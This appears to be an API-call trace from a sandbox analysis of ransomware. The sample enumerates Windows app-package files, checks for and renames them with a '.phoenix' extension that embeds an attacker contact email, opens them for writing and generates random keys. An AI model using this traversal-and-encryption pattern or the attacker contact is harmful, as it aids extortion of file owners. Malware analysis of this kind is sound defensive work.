	[0262.243] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.244] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=920) returned 1
	[0262.244] CloseHandle (hObject=0x2e0) returned 1
	[0262.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.244] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.245] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.245] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.246] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.246] CloseHandle (hObject=0x2e0) returned 1
	[0262.246] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.246] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.247] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.247] CloseHandle (hObject=0x2e0) returned 1
	[0262.247] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.247] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.249] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5756) returned 1
	[0262.249] CloseHandle (hObject=0x2e0) returned 1
	[0262.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.249] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.249] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.249] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.251] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=32768) returned 1
	[0262.251] CloseHandle (hObject=0x2e0) returned 1
	[0262.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.251] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.251] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.251] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.252] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.252] CloseHandle (hObject=0x2e0) returned 1
	[0262.252] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.252] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.253] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5724) returned 1
	[0262.253] CloseHandle (hObject=0x2e0) returned 1
	[0262.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.253] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.253] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.253] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.254] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=77824) returned 1
	[0262.254] CloseHandle (hObject=0x2e0) returned 1
	[0262.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.254] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.254] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.254] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.255] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.255] CloseHandle (hObject=0x2e0) returned 1
	[0262.255] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.255] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.256] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2952) returned 1
	[0262.256] CloseHandle (hObject=0x2e0) returned 1
	[0262.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.256] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.256] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.379] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0262.389] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=20480) returned 1
	[0262.389] CloseHandle (hObject=0x308) returned 1
	[0262.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.396] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.397] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.397] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.399] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1188) returned 1
	[0262.399] CloseHandle (hObject=0x2e0) returned 1
	[0262.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.399] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.400] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1188) returned 1
	[0262.400] CloseHandle (hObject=0x2e0) returned 1
	[0262.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.400] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.400] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.400] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.402] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1188) returned 1
	[0262.402] CloseHandle (hObject=0x2dc) returned 1
